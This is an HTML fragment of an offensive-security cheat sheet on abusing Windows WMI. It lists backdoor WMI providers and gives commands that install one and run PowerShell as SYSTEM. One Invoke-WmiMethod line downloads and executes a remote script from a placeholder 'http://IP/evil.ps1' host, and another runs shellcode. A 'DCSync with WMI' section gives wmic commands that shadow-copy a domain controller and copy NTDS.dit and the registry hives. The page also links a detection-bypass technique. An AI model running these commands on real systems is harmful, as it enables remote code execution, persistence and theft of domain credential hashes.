<h4 id="bkmrk-custom-wmi-provider"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkJhY2tkb29ycyUyMHdpdGglMjBXTUklMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Custom WMI Provider</span></h4>
<ul id="bkmrk-win32_localadmins-%3A-"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="f91def282f2749c9b0fcfacd94e9d6ee"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="d483bcb9e07e47aeb4dbfb7ae3813b33"><code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">win32_LocalAdmins</code> : </span><a class="link-a079aa82--primary-53a25e66--link-faf6c434" style="color: #26cb40;" href="https://github.com/rzander/LocalAdmins" target="_blank" rel="noopener noreferrer" data-key="1d0e570b139d481eb2dc2e3cf3f32922"><span data-key="a0727b99d8b64b959b8a4e3cba291755"><span style="text-decoration: underline;"><strong>https://github.com/rzander/LocalAdmins</strong></span></span></a><span data-key="ec49f4dcbf3e469da1e85b14ce72afe8"> - Creates a class named win32_LocalAdmins that can enumerate all local admins</span></span></p>
</li>
<li class="" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMndpbjMyX0xvY2FsQWRtaW5zJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjAlM0ElMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaW5rJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTIyaHJlZiUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRnJ6YW5kZXIlMkZMb2NhbEFkbWlucyUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGcnphbmRlciUyRkxvY2FsQWRtaW5zJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjAtJTIwQ3JlYXRlcyUyMGElMjBjbGFzcyUyMG5hbWVkJTIwd2luMzJfTG9jYWxBZG1pbnMlMjB0aGF0JTIwY2FuJTIwZW51bWVyYXRlJTIwYWxsJTIwbG9jYWwlMjBhZG1pbnMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtaXRlbSUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJFdmlsJTIwTmV0d29yayUyMENvbm5lY3Rpb24lMjBQcm92aWRlciUyMCUzQSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyaW5saW5lJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpbmslMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlMjJocmVmJTIyJTNBJTIyaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGamFyZWRjYXRraW5zb24lMkZFdmlsTmV0Q29ubmVjdGlvbldNSVByb3ZpZGVyJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmdpdGh1Yi5jb20lMkZqYXJlZGNhdGtpbnNvbiUyRkV2aWxOZXRDb25uZWN0aW9uV01JUHJvdmlkZXIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMC0lMjB3aGVuJTIwaW5zdGFsbGVkJTJDJTIwcGVybWl0cyUyMHRvJTIwcnVuJTIwUG93ZXJTaGVsbCUyMGNvbW1hbmRzJTIwYXMlMjBTWVNURU0uJTIwUG93ZXJTaGVsbCUyMG5vdCUyMG5lZWRlZCUyMHRvJTIwZXhlY3V0ZSUyMHRoZSUyMHBheWxvYWQlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtdW5vcmRlcmVkJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIySW4lMjBhJTIwY21kJTIwJTNBJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkluc3RhbGxVdGlsLmV4ZSUyMC4lMkZFdmlsTmV0Q29ubmVjdGlvbldNSVByb3ZpZGVyLmRsbCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtaXRlbSUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJBJTIwbmV3JTIwV01JJTIwY2xhc3MlMjBuYW1lZCUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJ3aW4zMl9OZXRDb25uZWN0aW9uJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmJvbGQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjBpcyUyMGNyZWF0ZWQlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="8d70555dcce64862b8d99166d6bdff78"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="2b8ea2ed0ad84ef5a928e66b41811f46">Evil Network Connection Provider : </span><a class="link-a079aa82--primary-53a25e66--link-faf6c434" style="color: #26cb40;" href="https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider" target="_blank" rel="noopener noreferrer" data-key="a311dde86aa94442824bf3a73acaa29c"><span data-key="0c3ccb175a7f49fea2042d8f076d18ca"><span style="text-decoration: underline;"><strong>https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider</strong></span></span></a><span data-key="7fb8a03890ed4e68bc79aa5d107c1274"> - when installed, permits to run PowerShell commands as SYSTEM. PowerShell not needed to execute the payload</span></span></p>
<div data-key="f63dd0631caa404ab6b3e78ef71b98d7">
<ul class="list-20526648--inList-acdf7afa" data-key="37587b44e11542fcabc6f723cbb7cb02"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="6e1aa3477aab475cbdf926eab8f6fdd4"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="e8947146c4dc47d2ae7c9e7b983e7ddf">In a cmd : <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">InstallUtil.exe ./EvilNetConnectionWMIProvider.dll</code></span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="aa7622f4a21a4e99b45350fe9bcc7a58"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="5380b4df35af4635bee0ae123021dc9c">A new WMI class named <strong class="bold-3c254bd9" data-slate-leaf="true">win32_NetConnection</strong> is created</span></span></p>
</li>
</ul></div>
<p> </p>
</li>
</ul><pre id="bkmrk-invoke-wmimethod--cl-1"><code class="language-Powershell">Invoke-WmiMethod -Class win32_NetConnection -Name RunPS -ArgumentList "Get-Host"</code></pre>
<p id="bkmrk-to-execute-a-powersh"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwZXhlY3V0ZSUyMGElMjBQb3dlclNoZWxsJTIwc2NyaXB0JTNBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">To execute a PowerShell script:</span></p>
<pre id="bkmrk-invoke-wmimethod--cl-2"><code class="language-Powershell">Invoke-WmiMethod -Class win32_NetConnection -ComputerName 192.168.1.1 -Credential contoso\john -Name RunPS -ArgumentList "iex (New-Object Net.WebClient).DownloadString('http://IP/evil.ps1')"</code></pre>
<ul id="bkmrk-evilwmiprovider-%3A-ht"><li><span data-key="83877d9e25f944b8be6f9a0ad2acf759">EvilWMIProvider : </span><span style="text-decoration: underline;"><strong><a>https://gist.github.com/nicholasmckinney/6309dbd6d3a1aed04f1350e1a685916d</a></strong></span></li>
</ul><pre id="bkmrk-%23execute-shell-code-"><code class="language-Powershell">#Execute Shell Code
Invoke-WmiMethod -Class win32_Evil -Name ExecShellCode -ArgumentList @(0x90, 0x90, 0x90), $null</code></pre>
<h3 id="bkmrk-dcsync-with-wmi"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkRDU3luYyUyMHdpdGglMjBXTUklMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">DCSync with WMI</span></h3>
<p id="bkmrk-dumping-domain-contr"><span style="text-decoration: underline;"><strong><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkRDU3luYyUyMHdpdGglMjBXTUklMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA=="><a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-domain-controller-hashes-via-wmic-and-shadow-copy-using-vssadmin" target="_blank" rel="noopener">Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy</a></span></strong></span></p>
<h4 id="bkmrk-create-a-shadow-copy"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNyZWF0ZSUyMGElMjBzaGFkb3clMjBjb3B5JTIwb2YlMjB0aGUlMjBEQyUyMEMlM0ElNUMlNUMlMjBkcml2ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Create a shadow copy of the DC C:\ drive</span></h4>
<pre id="bkmrk-wmic-%2Fnode%3Adc01-%2Fuse"><code class="language-Powershell">wmic /node:dc01 /user:administrator@offense /password:123456 process call create "cmd /c vssadmin create shadow /for=C: 2&gt;&amp;1"</code></pre>
<h4 id="bkmrk-copy-ntds.dit%2C-syste"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvcHklMjBOVERTLmRpdCUyQyUyMFNZU1RFTSUyMGFuZCUyMFNFQ1VSSVRZJTIwaGl2ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Copy NTDS.dit, SYSTEM and SECURITY hive</span></h4>
<pre id="bkmrk-wmic-%2Fnode%3Adc01-%2Fuse-0"><code class="language-Powershell">wmic /node:dc01 /user:administrator@offense /password:123456 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\temp\ &amp; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\temp\ &amp; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\temp\"</code></pre>
<h4 id="bkmrk-mount-the-new-drive"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1vdW50JTIwdGhlJTIwbmV3JTIwZHJpdmUlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Mount the new drive</span></h4>
<pre id="bkmrk-net-use-j%3A-%5C%5Cdc01%5Cc%24"><code class="language-Powershell">net use j: \\dc01\c$\temp /user:administrator 123456; dir j:\</code></pre>
<p id="bkmrk-the-files-will-be-in"><span data-offset-key="92b9a2b71b6b4cf8a95dcdc3f9a42222:0">The files will be in </span><span data-offset-key="92b9a2b71b6b4cf8a95dcdc3f9a42222:1"><strong class="bold-3c254bd9" data-slate-leaf="true">J:\</strong></span><span data-offset-key="92b9a2b71b6b4cf8a95dcdc3f9a42222:2" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRoZSUyMGZpbGVzJTIwd2lsbCUyMGJlJTIwaW4lMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIySiUzQSU1QyU1QyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwb24lMjB0aGUlMjBEQyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"> on the DC</span></p>
<h3 id="bkmrk-bypass-parent-%2F-chil"><span data-offset-key="92b9a2b71b6b4cf8a95dcdc3f9a42222:2" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRoZSUyMGZpbGVzJTIwd2lsbCUyMGJlJTIwaW4lMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIySiUzQSU1QyU1QyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwb24lMjB0aGUlMjBEQyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkJ5cGFzcyUyMFBhcmVudCUyMCUyRiUyMENoaWxkJTIwcHJvY2VzcyUyMGRldGVjdGlvbiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Bypass Parent / Child process detection</span></span></h3>
<p id="bkmrk-bypassing-parent-chi" class="reset-3c756112--pageTitle-33dc39a3"><span style="text-decoration: underline;"><strong><a href="https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships" target="_blank" rel="noopener"><span class="text-4505230f--DisplayH900-bfb998fa--textContentFamily-49a318e1">Bypassing Parent Child / Ancestry Detections</span></a></strong></span></p>
<h2 id="bkmrk-wmi-events" class="reset-3c756112--pageTitle-33dc39a3"><span class="text-4505230f--DisplayH900-bfb998fa--textContentFamily-49a318e1"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldNSSUyMEV2ZW50cyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">WMI Events</span></span></h2>
